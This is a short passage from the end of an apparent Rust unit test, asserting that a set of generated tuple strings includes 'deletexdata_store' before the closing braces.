assert!(tuples(&cls).contains(&"deletexdata_store".to_string()));
}
}